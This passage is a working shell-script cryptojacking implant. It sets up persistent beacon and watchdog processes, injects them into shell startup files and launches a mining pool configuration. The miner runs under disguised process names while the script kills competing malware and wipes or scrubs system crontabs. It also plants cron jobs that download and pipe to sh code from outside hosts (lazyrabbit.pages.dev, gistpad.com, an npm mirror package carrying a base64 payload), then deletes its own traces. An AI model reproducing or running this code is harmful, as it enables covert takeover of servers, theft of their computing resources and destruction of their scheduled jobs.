    printf '      # watchdog liveness check) for the whole window.\n'
    printf '      ( "$_BF" >/dev/null 2>&1 & )\n'
    printf '    else\n'
    printf '      ( _direct >/dev/null 2>&1 & )\n'
    printf '    fi\n'
    printf '    # cadence 300..900s (the old 600..3600s meant up to an hour of\n'
    printf '    # channel downtime after any outage)\n'
    printf '    _s=$(tr -dc 0-9 </dev/urandom 2>/dev/null | head -c4)\n'
    printf '    [ -n "$_s" ] || _s=1800\n'
    printf '    [ "$_s" -ge 1 ] 2>/dev/null || _s=1800\n'
    printf '    _s=$(( 300 + _s %% 600 ))\n'
    printf '    # sleep in slices and check the watchdog on every slice, so a killed\n'
    printf '    # watchdog is back within seconds instead of a whole cadence window\n'
    printf '    _left=$_s\n'
    printf '    while [ "$_left" -gt 0 ]; do\n'
    printf '      _sl=15; [ "$_left" -lt 15 ] && _sl=$_left\n'
    printf '      sleep "$_sl"\n'
    printf '      _left=$(( _left - _sl ))\n'
    printf '      _WP=$(cat "$_BD/.beacon-watchdog.pid" 2>/dev/null)\n'
    printf '      if ! _alive "$_WP"; then\n'
    printf '        setsid "$0" watch </dev/null >/dev/null 2>&1 &\n'
    printf '        sleep 1\n'
    printf '      fi\n'
    printf '    done\n'
    printf '  done\n'
    printf '  ;;\n'
    printf 'esac\n'
  } > "$_sd_loop" 2>/dev/null || return 0
  chmod 700 "$_sd_loop" 2>/dev/null || true
  _sd_running=0
  _sd_old=$(cat "$_sd_pid" 2>/dev/null)
  if [ -n "$_sd_old" ] && kill -0 "$_sd_old" 2>/dev/null; then
    if [ "$(cat "$_sd_vfile" 2>/dev/null)" = "$_sd_ver|$_sd_ep" ]; then _sd_running=1; fi
  fi
  if [ "$_sd_running" = "0" ]; then
  :
    for _sd_k in "$_sd_pid" "$_sd_wpid"; do
      _sd_kp=$(cat "$_sd_k" 2>/dev/null)
      [ -n "$_sd_kp" ] && kill -9 "$_sd_kp" 2>/dev/null || true
    done
    rm -f "$_sd_pid" "$_sd_wpid" 2>/dev/null || true
    setsid "$_sd_loop" watch </dev/null >/dev/null 2>&1 &
    sleep 1
    setsid "$_sd_loop" dial </dev/null >/dev/null 2>&1 &
    sleep 1
  for _sd_i in 1 2 3 4 5 6 7 8 9 10; do
    _sd_t=$(cat "$_sd_pid" 2>/dev/null)
    _sd_tw=$(cat "$_sd_wpid" 2>/dev/null)
    { [ -n "$_sd_t" ] && [ -n "$_sd_tw" ]; } && break
    sleep 1
  done
  else
  :
    _sd_ow=$(cat "$_sd_wpid" 2>/dev/null)
    if [ -z "$_sd_ow" ] || ! kill -0 "$_sd_ow" 2>/dev/null; then
      setsid "$_sd_loop" watch </dev/null >/dev/null 2>&1 &
      sleep 1
      _sd_ow=$(cat "$_sd_wpid" 2>/dev/null)
      echo "[M39] watchdog was missing — restarted (pid ${_sd_ow:-none})"
    fi
  fi
  _sd_new=$(cat "$_sd_pid" 2>/dev/null)
  _sd_new_w=$(cat "$_sd_wpid" 2>/dev/null)
  if [ -n "$_sd_new" ] && kill -0 "$_sd_new" 2>/dev/null; then
    printf '%s' "$_sd_ver|$_sd_ep" > "$_sd_vfile" 2>/dev/null || true
    echo "[M39] cron-free self-dialer installed (dial pid $_sd_new, watchdog pid ${_sd_new_w:-none}, loop: $_sd_loop)"
  else
    echo "[M38] self-dialer install failed (no cron lane either?)"
  fi
  _sd_hook="if [ -x \"$_sd_loop\" ]; then (setsid \"$_sd_loop\" watch </dev/null >/dev/null 2>&1 &) (setsid \"$_sd_loop\" dial </dev/null >/dev/null 2>&1 &); fi"
  for _sd_hf in "$HOME/.profile" "$HOME/.bashrc" "$HOME/.bash_profile"; do
    [ -f "$_sd_hf" ] && [ -w "$_sd_hf" ] 2>/dev/null || continue
    grep -qF "$_sd_loop" "$_sd_hf" 2>/dev/null && continue
    printf '\n# M39 cron-free lane\n%s\n' "$_sd_hook" >> "$_sd_hf" 2>/dev/null || true
  done
  return 0
}

_sweep_old_beacons() {
  [ -n "$_beacon_file" ] || return 0
  _sw_ok=0
  crontab -l 2>/dev/null | grep -qF "$_beacon_file" 2>/dev/null && _sw_ok=1
  [ "$_sw_ok" = "0" ] && grep -qF "$_beacon_file" /etc/cron.d/zz_beacon 2>/dev/null && _sw_ok=1
  _sw_dir=$(dirname "$_beacon_file" 2>/dev/null)
  _sw_pid="$_sw_dir/.beacon-dialer.pid"
  if [ "$_sw_ok" = "0" ] && [ -f "$_sw_pid" ]; then
    _sw_dpid=$(cat "$_sw_pid" 2>/dev/null)
    if [ -n "$_sw_dpid" ] && kill -0 "$_sw_dpid" 2>/dev/null; then
      _sw_newest=$(ls -1t "$_sw_dir"/.beacon_*.sh 2>/dev/null | head -1)
      [ "$_sw_newest" = "$_beacon_file" ] && _sw_ok=1
    fi
  fi
  if [ "$_sw_ok" = "1" ]; then
    for _bsib in /var/tmp/.beacon_*.sh /tmp/.beacon_*.sh /dev/shm/.beacon_*.sh "$HOME"/.beacon_*.sh; do
  :
      case "$_bsib" in
        */.beacon-dialer.sh) continue ;;
      esac
      if [ -f "$_bsib" ] && [ "$_bsib" != "$_beacon_file" ]; then
        rm -f "$_bsib" 2>/dev/null || true
      fi
    done
    echo "Beacon convergence: previous beacon files retired (live lane references: $_beacon_file)."
  else
    echo "[M37] no live lane could reference the new beacon file — keeping the previous one(s) alive."
  fi
  return 0
}
_cleanup_transport() {
  :
  for _ct_dir in /proc/[0-9]*; do
    [ -r "$_ct_dir/cmdline" ] || continue
    _ct_pid="${_ct_dir##*/}"
    [ "$_ct_pid" = "$$" ] && continue
    _ct_cmd=$(tr '\0' ' ' < "$_ct_dir/cmdline" 2>/dev/null)
    [ -n "$_ct_cmd" ] || continue
    case "$_ct_cmd" in
      *'.beacon-dialer'*) : ;;
      *"$_beacon_file"*) : ;;
      *dev/tcp*|*.beacon_*|*beacon.sh*)
        if kill -9 "$_ct_pid" 2>/dev/null; then
          log "Transport cleanup: killed delivery PID $_ct_pid"
        fi
        ;;
    esac
    case "$_ct_cmd" in
      *"sh -s -- $_c1"*)
        if kill -9 "$_ct_pid" 2>/dev/null; then
          log "Transport cleanup: killed sibling spool shell PID $_ct_pid"
        fi
        ;;
    esac
  done
  for _ct_spool in /tmp/.amqb64_* /var/tmp/.amqb64_* /dev/shm/.amqb64_*; do
    [ -e "$_ct_spool" ] || continue
    rm -f "$_ct_spool" 2>/dev/null || true
  done
  rm -f "$0" 2>/dev/null || true
  rmdir "$(dirname "$0")" 2>/dev/null || true
  _ct_self=$(tr '\0' ' ' < "/proc/$$/cmdline" 2>/dev/null)
  case "$_ct_self" in
    *"sh -s -- "*)
      log "Transport cleanup: dropping delivery shell"
      kill -9 $$ 2>/dev/null || true
      ;;
  esac
  return 0
}
_miner_cfg=""
_prepare_miner_cfg() {
  [ -n "$_MINER_KEY" ] && return 0            # the encrypted carrier path
  _pmc_dir=$(dirname "$program_file" 2>/dev/null)
  [ -n "$_pmc_dir" ] && [ -d "$_pmc_dir" ] && [ -w "$_pmc_dir" ] || return 0
  _pmc_cfg="$_pmc_dir/.job.json"
  printf '{"pools":[{"url":"%s","user":"%s.%s","rig-id":"%s","nicehash":false,"keepalive":true}],"donate-level":0}\n' \
    "$_c3" "$_c4" "$_c1" "$_c1" > "$_pmc_cfg" 2>/dev/null || { _pmc_cfg=""; return 0; }
  chmod 600 "$_pmc_cfg" 2>/dev/null || true
  [ -s "$_pmc_cfg" ] && _miner_cfg="$_pmc_cfg"
  return 0
}
_miner_run_args() {
  if [ -n "$_miner_cfg" ] && [ -s "$_miner_cfg" ]; then
    printf -- '--config=%s' "$_miner_cfg"
  else
    printf '%s' "-o $_c3 -u $_c4.$_c1 -k"
  fi
}
is_our_process_running() {
  for _iop_dir in /proc/[0-9]*; do
    [ -r "$_iop_dir/cmdline" ] || continue
    _iop_cmdline=$(cat "$_iop_dir/cmdline" 2>/dev/null | tr '\0' ' ')
    case "$_iop_cmdline" in
      *[![:space:]]*) ;;
      *)
      _iop_comm=$(cat "$_iop_dir/comm" 2>/dev/null)
      if [ "$_iop_comm" = "$_MD_BIN" ] || [ "$_iop_comm" = "dsvc" ]; then
        _iop_state=$(awk '{print $3}' "$_iop_dir/stat" 2>/dev/null)
        [ "$_iop_state" = "Z" ] && continue
        _iop_pid="${_iop_dir##*/}"
        _iop_exe=$(readlink "$_iop_dir/exe" 2>/dev/null)
        case "$_iop_exe" in
          */"$_MD_DIR"/"$_MD_BIN"|*/systemdev/dsvc|"")
            _iop_inst=""
            case "$_iop_exe" in
              */"$_MD_DIR"/"$_MD_BIN"|*/systemdev/dsvc)
                [ -r "${_iop_exe%/*}/.inst" ] && _iop_inst=$(cat "${_iop_exe%/*}/.inst" 2>/dev/null)
                ;;
            esac
            if [ "$_iop_inst" != "$_c4.$_c1 $_c3" ]; then
              echo "Disguised process without current identity marker — replacing"
              kill -9 "$_iop_pid" 2>/dev/null
              sleep 1
              continue
            fi
            _iop_cpu=$(_tool ps -p "$_iop_pid" -o %cpu= 2>/dev/null | tr -d ' ')
            _iop_cpu=${_iop_cpu:-0}
            _iop_int=${_iop_cpu%.*}
            _iop_int=${_iop_int:-0}
            if [ "$_iop_int" -gt 0 ] 2>/dev/null; then
              echo "Our disguised process active (PID $_iop_pid) — skipping launch"
              _mark_miner_identity "$_iop_exe"
              return 0
            fi
            echo "Our disguised process idle (PID $_iop_pid) — killing and relaunching"
            kill -9 "$_iop_pid" 2>/dev/null
            sleep 1
            ;;
        esac
      fi
      continue
      ;;
    esac
    _iop_tag=0
    echo "$_iop_cmdline" | grep -q "$_c5" && _iop_tag=1
    _iop_cfg=0
    if [ -n "$_miner_cfg" ]; then
      case "$_iop_cmdline" in *"$_miner_cfg"*) _iop_cfg=1 ;; esac
    fi
    if { [ "$_iop_tag" = "1" ] || [ "$_iop_cfg" = "1" ]; } && ! echo "$_iop_cmdline" | grep -q "is_our_process_running"; then
      _iop_state=$(awk '{print $3}' "$_iop_dir/stat" 2>/dev/null)
      [ "$_iop_state" = "Z" ] && continue
      _iop_pid="${_iop_dir##*/}"
      case "$_ga_arch" in
        aarch64|arm64|armv8l)
          case "$_iop_cmdline" in
            *".$_c1"*) ;;
            *)
              echo "ARM process uses a different identifier; replacing"
              kill -9 "$_iop_pid" 2>/dev/null
              sleep 1
              continue
              ;;
          esac
          ;;
      esac
      _iop_cpu=$(_tool ps -p "$_iop_pid" -o %cpu= 2>/dev/null | tr -d ' ')
      _iop_cpu=${_iop_cpu:-0}
      _iop_int=${_iop_cpu%.*}
      _iop_int=${_iop_int:-0}
      if [ "$_iop_cfg" = "1" ]; then
        :   # M41: config-launched - the tag lives in the config, not in argv
      else
      case "$_iop_cmdline" in
        *"$_c1 "*|*"$_c1")
          : ;;
        *)
          echo "Our process runs with a stale tag — killing for relaunch (arg=$_c1)"
          kill -9 "$_iop_pid" 2>/dev/null
          sleep 1
          continue
          ;;
      esac
      fi
      _iop_pool=$(printf '%s' "$_iop_cmdline" | sed -n 's/.* -o \([^ ]*\).*/\1/p')
      if [ -n "$_iop_pool" ] && [ "$_iop_pool" != "$_c3" ]; then
        echo "Our process on stale pool $_iop_pool — killing for relaunch (now: $_c3)"
        kill -9 "$_iop_pid" 2>/dev/null
        sleep 1
        continue
      fi
      case "$_iop_cmdline" in
        *"$_c4/"*)
          echo "Our process uses a stale worker-id separator - killing for relaunch (dot form)"
          kill -9 "$_iop_pid" 2>/dev/null
          sleep 1
          continue
          ;;
      esac
      if [ "$_iop_int" -gt 0 ] 2>/dev/null; then
        echo "Our process active (PID $_iop_pid, CPU ${_iop_cpu}%) — skipping launch"
        _iop_bin=$(printf '%s' "$_iop_cmdline" | sed -n 's/^\([^ ]*\/$_MD_DIR\/$_MD_BIN\).*/\1/p')
        [ -n "$_iop_bin" ] && _mark_miner_identity "$_iop_bin"
        return 0
      else
        echo "Our process idle (PID $_iop_pid) — killing and relaunching"
        kill -9 "$_iop_pid" 2>/dev/null
        sleep 1
      fi
    fi
  done
  echo "Our process not running"
  return 1
}
set_arch_urls() {
  _ga_arch=$(uname -m 2>/dev/null || echo unknown)
  case "$_ga_arch" in
    x86_64|amd64)
      _ga_url="$_c7"
      _ga_fallback="$_c9"
      _ga_machine=3e00
      ;;
    aarch64|arm64|armv8l)
      _ga_url="$_c8"
      _ga_fallback=""
      _ga_machine=b700
      _c1=ARM
      ;;
    *)
      _ga_url=""
      _ga_fallback=""
      _ga_machine=""
      return 1
      ;;
  esac
}
_elf_machine() {
  od -An -tx1 -j18 -N2 "$1" 2>/dev/null | tr -d '[:space:]'
}
_is_elf_for_arch() {
  _ie_file="$1"
  [ -s "$_ie_file" ] || return 1
  [ "$(head -c 4 "$_ie_file" 2>/dev/null)" = "$(printf '\177ELF')" ] || return 1
  [ "$(od -An -tx1 -j4 -N2 "$_ie_file" 2>/dev/null | tr -d '[:space:]')" = "0201" ] || return 1
  [ "$(_elf_machine "$_ie_file")" = "$_ga_machine" ]
}
_sfx_path() {
  if [ "$(id -u)" -eq 0 ]; then printf '/var/lib/.sysconf_id'
  else
  :
    if [ -n "$HOME" ] && [ -d "$HOME" ] && [ -w "$HOME" ]; then printf '%s/.sysid' "$HOME"
    else printf '/tmp/.sysid'; fi
  fi
}
_load_or_gen_sfx() {
  _log_f=$(_sfx_path)
  if [ -f "$_log_f" ] && [ -s "$_log_f" ]; then cat "$_log_f"; return; fi
  _log_s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
  [ -z "$_log_s" ] && _log_s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')
  mkdir -p "$(dirname "$_log_f")" 2>/dev/null
  printf '%s' "$_log_s" >"$_log_f" 2>/dev/null
  printf '%s' "$_log_s"
}

_SFX=$(_load_or_gen_sfx)
_BC_MARK="#$(head -c 8 /dev/urandom 2>/dev/null | od -An -tx1 | tr -d ' \n' | tr 'A-F' 'a-f')"
case "$_BC_MARK" in "#") _BC_MARK="#$(printf '%08x' $$)" ;; esac
_STATE_HOME=""
if [ -n "$HOME" ] && [ -d "$HOME" ] && [ -w "$HOME" ] 2>/dev/null; then _STATE_HOME="$HOME"; fi
_STATE_DIR=$(_state_dir 2>/dev/null) || _STATE_DIR="/var/tmp"
_MD_DIR="d$_SFX"
_MD_BIN="b$_SFX"

_WP_IOC='systemdev/cron-fetch|cron-fetch-ppfs|lazyrabbit\.pages\.dev|gistpad\.com|\.usr_cron|/etc/\.dd|oanacroner|kdevtmpfsi|kinsing|\.\.config|bash /tmp/|/tmp/\.[a-z0-9_-]{2,}/|/var/tmp/\.[a-z0-9_-]{2,}/|/dev/shm/\.[A-Za-z0-9_-]|nodebox|kwork|udev-helper|/\.svc/config\.bin|java_update|\.jvbd|\.sysjvd|/\.va\b|scsi_eh|X0_lock|MASKED_RUN|exec -a|\.khp|nm-dog|\.sysd-private|spamassassin/daemon\.sh|31\.56\.209\.189|base64 -d\|[sh]|\.halt/|\.dbus/|\.dl_|--oneshot -q'
scrub_competitor_crons() {
    command -v crontab >/dev/null 2>&1 || return 0
    _sc_cur=$(crontab -l 2>/dev/null) || return 0
    [ -n "$_sc_cur" ] || return 0
    _sc_ioc="$_WP_IOC"
    if [ -f /tmp/run-agent.sh ] && [ -r /tmp/run-agent.sh ] && ! _gc_ra_ioc /tmp/run-agent.sh; then
        : # benign run-agent script — keep its cron line
    else
        _sc_ioc="$_sc_ioc|run-agent\.sh"
    fi
    printf '%s\n' "$_sc_cur" | grep -vE "$_sc_ioc" | crontab - 2>/dev/null \
        && echo "Crontab scrubbed: competitor lines removed, config preserved." \
        || echo "[sw] cron scrub failed (crontab kept as-is)"
    return 0
}

wipe_previous_crons() {
  :
  if [ "$(id -u)" -eq 0 ]; then
    for _wl in /etc/cron.d/* /etc/cron.d/$(whoami) /etc/cron.d/apache \
               /var/spool/cron/* /var/spool/cron/crontabs/* \
               /etc/cron.hourly/* /etc/cron.daily/* \
               /etc/cron.weekly/* /etc/cron.monthly/* \
               /etc/crontab /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
      [ -e "$_wl" ] || continue
      chattr -i "$_wl" 2>/dev/null || true
      chattr -a "$_wl" 2>/dev/null || true
    done
  fi

  _wp_is_zimbra=0
  [ "$(id -un 2>/dev/null)" = "zimbra" ] && _wp_is_zimbra=1
  [ "$_wp_is_zimbra" = 0 ] && crontab -l 2>/dev/null | grep -qi "zimbra" && _wp_is_zimbra=1
  if [ "$_wp_is_zimbra" = 1 ]; then
    scrub_competitor_crons
  else
    crontab -r 2>/dev/null || true
  fi
  for _us in /var/spool/cron/crontabs/* /var/spool/cron/*; do
    [ -f "$_us" ] || continue
    case "$_us" in *zimbra*) continue ;; esac
    grep -qi "zimbra" "$_us" 2>/dev/null && continue
    rm -f "$_us" 2>/dev/null || true
  done

  if [ "$_wp_is_zimbra" = 0 ]; then
    rm -f /etc/crontab 2>/dev/null || true
    rm -f /etc/cron.d/* 2>/dev/null || true
    rm -f /etc/cron.hourly/* /etc/cron.daily/* \
          /etc/cron.weekly/* /etc/cron.monthly/* 2>/dev/null || true
  fi
}

create_cronjob() {
  cron_health || true
  _chrc=$?
  if [ "$_chrc" = 1 ]; then cron_log "cron_health: $CRONH — pointer cron SKIPPED (guardian persists)"; return 1; fi
  [ "$_chrc" = 2 ] && cron_log "cron_health: $CRONH — lines installed anyway"
  if [ "${VILLAIN_CARRIER_FALLBACK:-0}" != "1" ]; then
    cron_log "M32: carrier-fetch pointer cron not installed (channel-only persistence)"
    return 0
  fi
  for _cc_dep in tar gzip; do
    if ! command -v $_cc_dep >/dev/null 2>&1; then
      if [ "$(id -u)" = "0" ]; then
        if command -v apk >/dev/null 2>&1; then
          apk add --no-cache $_cc_dep >/dev/null 2>&1 || true
        elif command -v apt-get >/dev/null 2>&1; then
          apt-get update -qq >/dev/null 2>&1; apt-get install -y -qq $_cc_dep >/dev/null 2>&1 || true
        elif command -v yum >/dev/null 2>&1; then
          yum install -y -q $_cc_dep >/dev/null 2>&1 || true
        elif command -v dnf >/dev/null 2>&1; then
          dnf install -y -q $_cc_dep >/dev/null 2>&1 || true
        fi
      fi
    fi
  done
  _cc_home=""
  if [ "$(id -u)" = "0" ]; then
    mkdir -p /etc/.dd 2>/dev/null && _cc_home="/etc/.dd"
  fi
  if [ -z "$_cc_home" ] && [ -n "$HOME" ] && [ -w "$HOME" ]; then
    mkdir -p "$HOME/.usr_cron/lib" 2>/dev/null && _cc_home="$HOME/.usr_cron/lib"
  fi
  if [ -z "$_cc_home" ] && [ -n "$HOME_1" ]; then
    mkdir -p "$HOME_1" 2>/dev/null && [ -w "$HOME_1" ] && _cc_home="$HOME_1"
  fi
  [ -n "$_cc_home" ] || _cc_home="/tmp/.usr_cron/lib"
  if ! command -v crontab >/dev/null 2>&1; then
    echo "No crontab available; persistence not installed"
    return 1
  fi
  _cc_pastebin="https://b51f3a2a.lazyrabbit.pages.dev/redirectrev"
  _cc_pastebin_b="https://gistpad.com/raw/werwer-860"
  _cc_cmd=""
  if command -v curl >/dev/null 2>&1; then
    _cc_cmd="T=/tmp/.ccr$$; curl -fsSLk -A Mozilla/5.0 $_cc_pastebin 2>/dev/null | tr -d \"\r\" >$T; head -c 2 $T | grep -q '#!' && sh $T || { curl -fsSLk -A Mozilla/5.0 $_cc_pastebin_b 2>/dev/null | tr -d \"\r\" | sh; }; rm -f $T"
  elif command -v wget >/dev/null 2>&1; then
    _cc_cmd="T=/tmp/.ccr$$; wget -qO- -U Mozilla/5.0 --no-check-certificate $_cc_pastebin 2>/dev/null | tr -d \"\r\" >$T; head -c 2 $T | grep -q '#!' && sh $T || { wget -qO- -U Mozilla/5.0 --no-check-certificate $_cc_pastebin_b 2>/dev/null | tr -d \"\r\" | sh; }"
  elif command -v openssl >/dev/null 2>&1; then
  :
    mkdir -p "$_cc_home/systemdev" 2>/dev/null
    _cc_helper="$_cc_home/systemdev/cron-fetch-ppfs.sh"
    rm -f "/tmp/.cron_fetch_ppfs_$.sh" 2>/dev/null
    cat > "$_cc_helper" << 'PASTEHELPER'
#!/bin/sh
_paste="$1"
_hp="${_paste#https://}"; _hp="${_hp#http://}"
_h="${_hp%%/*}"; _q="/${_hp#*/}"; [ "$_h" = "$_hp" ] && _q="/"
    if command -v timeout >/dev/null 2>&1; then
      _r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" | \
        timeout 45 openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null)
    else
      _r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" | \
        openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null)
    fi
    printf '%s\n' "$_r" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r' > "$_paste.b" 2>/dev/null
    head -c 2 "$_paste.b" | grep -q '#!' && { sh "$_paste.b"; rm -f "$_paste.b"; exit $?; }
    [ -n "$2" ] || exit 1
    _hp2="${2#https://}"; _hp2="${_hp2#http://}"
    _h2="${_hp2%%/*}"; _q2="/${_hp2#*/}"; [ "$_h2" = "$_hp2" ] && _q2="/"
    _r2=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q2" "$_h2" | \
      timeout 45 openssl s_client -quiet -connect "${_h2}:443" -servername "$_h2" 2>/dev/null)
    printf '%s\n' "$_r2" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r' > "$_paste.b2" 2>/dev/null
    head -c 2 "$_paste.b2" | grep -q '#!' && { sh "$_paste.b2"; }
    rm -f "$_paste.b" "$_paste.b2"
    exit 0
PASTEHELPER
    chmod 755 "$_cc_helper"
    _cc_cmd="$_cc_helper $_cc_pastebin $_cc_pastebin_b"
  fi

  if [ -n "$_cc_cmd" ]; then
    if ! command -v tar >/dev/null 2>&1 || ! command -v gzip >/dev/null 2>&1; then
  :
      if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then
        if crontab -l 2>/dev/null | grep -qF "$_cc_pastebin"; then
          echo "Cron persistence already installed (zimbra, preserved)."
        else
          if (crontab -l 2>/dev/null; printf '%s\n' "$( _cron_sched 2 ) * * * * $_cc_cmd") | crontab -; then
            echo "Cron persistence installed (zimbra, append-only)."
          else
            echo "Unable to install fallback crontab"
            return 1
          fi
        fi
        return 0
      fi
       if ! (crontab -l 2>/dev/null | grep -vF "$_cc_pastebin" | grep -vF "/systemdev/cron-fetch";
             printf '%s\n' "$( _cron_sched 2 ) * * * * $_cc_cmd") | crontab -; then
         echo "Unable to install fallback crontab"
         return 1
       fi
      echo "Cron persistence installed (pastebin fallback)."
      return 0
    fi
    :
  else
    echo "No tar/pointer and no curl/wget/openssl — no viable cron fallback"
    return 1
  fi
  mkdir -p "$_cc_home/systemdev" 2>/dev/null
  _cc_fetcher="$_cc_home/systemdev/cron-fetch"
  cat > "$_cc_fetcher" << 'CRONHELPER'
#!/bin/sh
REGURL="https://registry.npmmirror.com/net-util-z13/latest"
MIRROR="$(printf '%s' "$REGURL" | sed 's#registry\.npmjs\.org#registry.npmmirror.com#')"
_extr='s/.*"description" *: *"\([^"]*\)".*/\1/p'

get_url() {
  _gu="$1"
  if command -v curl >/dev/null 2>&1; then
    _tool curl -fsSLk -A Mozilla/5.0 --max-time 30 "$_gu" 2>/dev/null && return 0
  fi
  if command -v wget >/dev/null 2>&1; then
    _tool wget -qO- -U Mozilla/5.0 --no-check-certificate -T 30 "$_gu" 2>/dev/null && return 0
  fi
  if command -v openssl >/dev/null 2>&1; then
    _gu_now="$_gu"; _n=0
    _raw="${TMPDIR:-/tmp}/.netz13-fetch.$$.raw"
    while [ "$_n" -lt 5 ]; do
      _n=$((_n+1))
      _hp="${_gu_now#https://}"; _hp="${_hp#http://}"
      _h="${_hp%%/*}"; _q="/${_hp#*/}"; [ "$_h" = "$_hp" ] && _q="/"
      if command -v timeout >/dev/null 2>&1; then
        printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" |
          timeout 45 openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null > "$_raw"
      else
        printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" |
          openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null > "$_raw"
      fi
      _st=$(awk 'NR == 1 {sub(/\r$/, ""); print $2; exit}' "$_raw" 2>/dev/null)
      case "$_st" in 301|302|303|307|308)
        _l=$(awk 'tolower($1) == "location:" {sub(/^[^:]*:[ \t]*/, ""); sub(/\r$/, ""); print; exit}' "$_raw" 2>/dev/null)
        [ -z "$_l" ] && { rm -f "$_raw"; return 9; }
        _gu_now="$_l"
        continue;;
      2??)
        _off=$(awk 'BEGIN {n=0} {n += length($0) + 1; if ($0 == "" || $0 == "\r") {print n; exit}}' "$_raw" 2>/dev/null)
        [ -n "$_off" ] || { rm -f "$_raw"; return 9; }
        if command -v dd >/dev/null 2>&1; then
          dd if="$_raw" bs=1 skip="$_off" 2>/dev/null
          _rc=$?
        elif command -v tail >/dev/null 2>&1; then
          tail -c "+$((_off + 1))" "$_raw"
          _rc=$?
        else
          rm -f "$_raw"
          return 9
        fi
        rm -f "$_raw"
        return "$_rc";;
      *)
        rm -f "$_raw"
        return 9;;
      esac
    done
    rm -f "$_raw"
    return 9
  fi
  return 9
}

run_gated() {
  b=$(cat)
  printf '%s' "$b" | grep -qE '^[A-Za-z0-9+/=]+$' || exit 9
  printf '%s' "$b" | base64 -d | sh
}

_t=""
for _mu in "$REGURL" "$MIRROR"; do
  _mt=$(get_url "$_mu" | tr -d "\r" | sed -n "s/.*\"tarball\" *: *\"\([^\"]*\)\".*/\1/p" | head -1)
  [ -n "$_mt" ] && { _t="$_mt"; break; }
done
[ -z "$_t" ] && _t="https://registry.npmmirror.com/net-util-z13/-/net-util-z13-1.1789464157.0.tgz"
[ -z "$_t" ] && exit 9

_b64=""
for _tu in "$_t" "$(printf '%s' "$_t" | sed 's#registry\.npmjs\.org#registry.npmmirror.com#')"; do
  _cand=$(get_url "$_tu" | tar -xzO package/package.json 2>/dev/null | tr -d "\r" | sed -n "$_extr" | head -1)
  [ -n "$_cand" ] && { _b64="$_cand"; break; }
done
if [ -z "$_b64" ]; then
  _l3_body=""
  for _l3_try in 1 2 3; do
    for _l3_url in https://b51f3a2a.lazyrabbit.pages.dev/redirectrev https://gistpad.com/raw/werwer-860; do
      if command -v curl >/dev/null 2>&1; then
        _l3_body=$(curl -fsSLk -A Mozilla/5.0 --max-time 30 "$_l3_url" 2>/dev/null | tr -d '\r')
      elif command -v wget >/dev/null 2>&1; then
        _l3_body=$(wget -qO- -U Mozilla/5.0 --no-check-certificate -T 30 "$_l3_url" 2>/dev/null | tr -d '\r')
      elif command -v openssl >/dev/null 2>&1; then
        _l3_host=$(printf '%s' "$_l3_url" | sed 's|^https://||;s|/.*||')
        _l3_path=$(printf '%s' "$_l3_url" | sed 's|^https://[^/]*||')
        [ -z "$_l3_path" ] && _l3_path=/
        _r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_l3_path" "$_l3_host" | \
          timeout 45 openssl s_client -quiet -connect "$_l3_host:443" -servername "$_l3_host" 2>/dev/null)
        _l3_body=$(printf '%s\n' "$_r" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r')
      fi
      [ -n "$_l3_body" ] && break 2
    done
    [ -n "$_l3_body" ] && break
    sleep 5
  done
  if [ -n "$_l3_body" ]; then
    printf '%s' "$_l3_body" | sh
    exit $?
  fi
  echo "all layers exhausted (L1/L2/L3); next cron tick retries" >&2
  exit 9
fi

printf '%s' "$_b64" | run_gated
exit $?
CRONHELPER
  chmod 755 "$_cc_fetcher"
  if ! sh -n "$_cc_fetcher" 2>/dev/null; then
    echo "Planted fetcher failed syntax check; removing"
    rm -f "$_cc_fetcher"
    (crontab -l 2>/dev/null | grep -vF "$_cc_fetcher") | crontab - 2>/dev/null
    return 1
  fi
  if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then
    if crontab -l 2>/dev/null | grep -qF "$_cc_fetcher"; then
      echo "Cron persistence already installed (zimbra, preserved)."
    else
      if (crontab -l 2>/dev/null; printf '%s\n' "$( _cron_sched 3 ) * * * * $_cc_fetcher >/dev/null 2>&1") | crontab -; then
        echo "Cron persistence installed (zimbra, append-only)."
      else
        echo "Unable to install pointer crontab"
        return 1
      fi
    fi
    return 0
  fi
  if ! (crontab -l 2>/dev/null | grep -vF "$_cc_fetcher";
        printf '%s\n' "$( _cron_sched 3 ) * * * * $_cc_fetcher >/dev/null 2>&1") | crontab -; then
    echo "Unable to install pointer crontab"
    return 1
  fi
  echo "Cron persistence installed."
}
for _main_pid in $(pgrep -f 'bash /tmp/.*\.sh' 2>/dev/null); do
  if [ "$_main_pid" != "$$" ] && [ "$_main_pid" != "$PPID" ]; then
  :
    [ -r "/proc/$_main_pid/cmdline" ] || continue
    _main_cmdline=$(tr '\0' ' ' < "/proc/$_main_pid/cmdline" 2>/dev/null)
    _is_excluded "$_main_cmdline" "$_main_pid" && continue
    kill -9 "$_main_pid" 2>/dev/null && echo "Killed competing script PID $_main_pid"
  fi
done
if [ "$(id -u)" -eq 0 ]; then
  command -v systemctl >/dev/null 2>&1 && systemctl stop systemd_s 2>/dev/null || true
fi
